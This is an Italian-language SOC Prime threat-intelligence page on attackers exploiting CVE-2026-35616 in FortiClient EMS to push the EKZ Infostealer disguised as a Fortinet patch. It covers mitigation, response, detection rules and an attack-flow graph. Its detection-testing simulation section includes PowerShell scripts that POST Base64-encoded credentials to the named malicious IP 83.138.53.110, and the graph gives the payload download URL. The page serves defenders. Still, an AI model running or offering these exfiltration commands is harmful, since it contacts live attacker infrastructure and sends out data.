SOC Prime Bias: Critico

29 May 2026 07:30 UTC

FortiClient EMS Sfruttato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come una Patch Fortinet

Author Photo
SOC Prime Team linkedin icon Segui
FortiClient EMS Sfruttato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come una Patch Fortinet
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Arctic Wolf ha identificato una campagna che ha sfruttato CVE-2026-35616 in FortiClient EMS per distribuire uno script PowerShell dannoso agli endpoint gestiti. Quello script ha recuperato e avviato un payload di furto di credenziali noto come EKZ Infostealer fingendosi una patch legittima di Fortinet. Il malware ha raccolto password dei browser, cookie e informazioni di compilazione automatica, quindi ha esfiltrato i dati rubati tramite HTTP. Sfruttando i canali di configurazione EMS fidati, gli attaccanti sono stati in grado di eseguire rapidamente il payload su più dispositivi gestiti.

Indagine

I ricercatori hanno ricreato l’exploit inviando richieste HTTP appositamente create e non autenticate alle API di FortiClient EMS, risultando in modifiche alla configurazione che hanno inserito script dannosi. Le tracce di esecuzione hanno mostrato fortitray.exe or ipsec.exe generare cmd.exe, che a sua volta ha lanciato un comando PowerShell codificato in Base64 che ha scaricato p.exe da un indirizzo IP malevolo. Il payload ha scritto un log.txt file in ProgramData, ha inviato i dati catturati allo stesso server e poi si è cancellato.

Mitigazione

Le organizzazioni dovrebbero aggiornare FortiClient EMS a una versione che risolve CVE-2026-35616 e limitare l’accesso alle API a indirizzi IP di origine approvati. I difensori dovrebbero anche esaminare i log EMS per errori legati ai certificati e cambiamenti inaspettati nei Profili di Accesso Remoto. Il traffico HTTP in uscita dagli endpoint verso indirizzi IP sconosciuti dovrebbe essere bloccato e l’esecuzione di script all’interno dei flussi di lavoro dei profili VPN dovrebbe essere limitata tramite controlli di privilegio minimo.

Risposta

Se questa attività viene rilevata, isolare immediatamente gli host interessati, revocare eventuali account EMS non autorizzati che potrebbero essere stati creati e rimuovere i file script malevoli dalla directory dei log di FortiClient. Gli investigatori dovrebbero conservare l’ log.txt artefatto, calcolare gli hash per i binari malevoli e cercare indicatori corrispondenti nell’ambiente. Le credenziali del browser esposte dovrebbero essere reimpostate e i team dovrebbero monitorare attività di autenticazione sospette che potrebbero seguire il furto.

"graph TB %% Class definitions classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Nodes action_initial_access["<b>Action</b> – <b>T1190 Exploit Public-Facing Application</b><br/>CVEu20112026u201135616 in FortiClient EMS API"] class action_initial_access action process_api_requests["<b>Process</b> – Unauthenticated API requests processed as privileged admin actions"] class process_api_requests process action_cmd_launch["<b>Action</b> – <b>T1059.003 Windows Command Shell</b><br/>fortitray.exe & ipsec.exe launch cmd.exe"] class action_cmd_launch action action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b><br/>Base64u2011encoded PowerShell script execution"] class action_powershell action technique_obfuscation["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/>Payload delivered as base64"] class technique_obfuscation technique technique_decode["<b>Technique</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Runtime base64 decoding"] class technique_decode technique action_download["<b>Action</b> – <b>T1570 Lateral Tool Transfer</b><br/>Download FortiEndpoint_Patch.exe (p.exe)"] class action_download action file_payload["<b>File</b> – FortiEndpoint_Patch.exe (p.exe)<br/>Hosted at http://83.138.53.110/dl/p.exe"] class file_payload file action_execute["<b>Action</b> – <b>T1203 Exploitation for Client Execution</b><br/>Silent execution of downloaded binary"] class action_execute action malware_infostealer["<b>Malware</b> – EKZ Infostealer<br/>Collects credentials, cookies, autofill data"] class malware_infostealer malware technique_cred_access["<b>Technique</b> – <b>T1555.003 Credentials from Web Browsers</b>"] class technique_cred_access technique file_log["<b>File</b> – C:ProgramDatalog.txt<br/>Collected data storage"] class file_log file action_exfil["<b>Action</b> – <b>T1567 Exfiltration Over Web Service</b><br/>HTTP POST to attacker server"] class action_exfil action action_cleanup["<b>Action</b> – <b>T1564 Hide Artifacts</b><br/>Delete malicious files and log"] class action_cleanup action %% Connections action_initial_access –>|leads_to| process_api_requests process_api_requests –>|triggers| action_cmd_launch action_cmd_launch –>|executes| action_powershell action_powershell –>|uses| technique_obfuscation technique_obfuscation –>|requires| technique_decode action_powershell –>|downloads| action_download action_download –>|retrieves| file_payload file_payload –>|executed_by| action_execute action_execute –>|runs| malware_infostealer malware_infostealer –>|performs| technique_cred_access malware_infostealer –>|writes| file_log file_log –>|sent_by| action_exfil action_exfil –>|followed_by| action_cleanup action_cleanup –>|deletes| file_payload action_cleanup –>|deletes| file_log "

Flusso di Attacco

Rilevazioni

Nome del File Breve (tramite cmdline)

SOC Prime Team
28 maggio 2026

Uso sospetto di CURL (tramite cmdline)

SOC Prime Team
28 maggio 2026

Chiamata a Metodi .NET Sospetti da Powershell (tramite powershell)

SOC Prime Team
28 maggio 2026

Possibile Attività di Trasferimento Bits (tramite powershell)

SOC Prime Team
28 maggio 2026

IOC (HashSha256) per rilevare: FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come Patch Fortinet

Regole AI di SOC Prime
28 maggio 2026

IOC (HashSha1) per rilevare: FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come Patch Fortinet

Regole AI di SOC Prime
28 maggio 2026

IOC (HashMd5) per rilevare: FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come Patch Fortinet

Regole AI di SOC Prime
28 maggio 2026

IOC (SourceIP) per rilevare: FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come Patch Fortinet

Regole AI di SOC Prime
28 maggio 2026

IOC (DestinationIP) per rilevare: FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come Patch Fortinet

Regole AI di SOC Prime
28 maggio 2026

Esfiltrazione di Credenziali da EKZ Infostealer via HTTP POST [Connessione di Rete Windows]

Regole AI di SOC Prime
28 maggio 2026

FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer [Creazione di Processo Windows]

Regole AI di SOC Prime
28 maggio 2026

Esecuzione di PowerShell tramite FortiClient per Distribuire EKZ Infostealer [Powershell di Windows]

Regole AI di SOC Prime
28 maggio 2026

Esecuzione di Simulazione

Prerequisito: Il Controllo Preliminare di Telemetria & Baseline deve essere superato.

Ragioni: Questa sezione dettaglia la precisa esecuzione della tecnica (TTP) dell’avversario progettato per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrazione & Comandi dell’Attacco:
    L’attaccante ha precedentemente estratto credenziali dal registro di Windows (famiglia T1216) usando EKZ Infostealer. Per esfiltrare il blob raccolto, il malware lancia un comando one-liner PowerShell che posta le credenziali codificate in Base64 al suo server di comando e controllo a 83.138.53.110. L’uso di PowerShell (Invoke-WebRequest) è una tecnica classica di living‑off‑the‑land che evade i rilevamenti basati su binari mentre produce ancora telemetria di rete osservabile dal firewall.

    powershell
    # Payload di credenziali simulato (Base64 di "user:pass")
    $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
    $uri = "http://83.138.53.110/collect"
    Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
    
  • Script di Test di Regressione: Questo script PowerShell auto‑contenuto riproduce il passo di esfiltrazione e può essere rieseguito per future regressioni.

    powershell
    <#
    .SYNOPSIS
        Simulazione di esfiltrazione credenziali EKZ Infostealer (HTTP POST).
    
    .DESCRIPTION
        Genera un blob di credenziali falso, lo codifica e lo posta all’
        indirizzo IP malevolo noto usato nella regola di rilevamento.
    
    .NOTES
        Richiede HTTP in uscita consentito a 83.138.53.110 sulla porta 80.
    #>
    
    # ---- Preparazione ----
    $creds   = "admin_user:SuperSecret!"
    $b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
    $target  = "http://83.138.53.110/collect"
    
    # ---- Esecuzione ----
    try {
        Write-Host "[*] Inviando il blob di credenziali a $target ..."
        $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
        Write-Host "[+] Stato HTTP:" $resp.StatusCode
    } catch {
        Write-Error "[-] POST fallito: $_"
    }
    
    # ---- Fine dello script ----
    
  • Comandi di Cleanup: Non vengono creati artefatti persistenti su disco, ma per essere scrupolosi chiudiamo qualsiasi sessione di richiesta web residua e liberiamo la variabile PowerShell.

    powershell
    # Pulisci variabili e chiudi eventuali sessioni web aperte
    Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
    if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
        Remove-WebRequestSession -All
    }
    Write-Host "[*] Pulizia completata."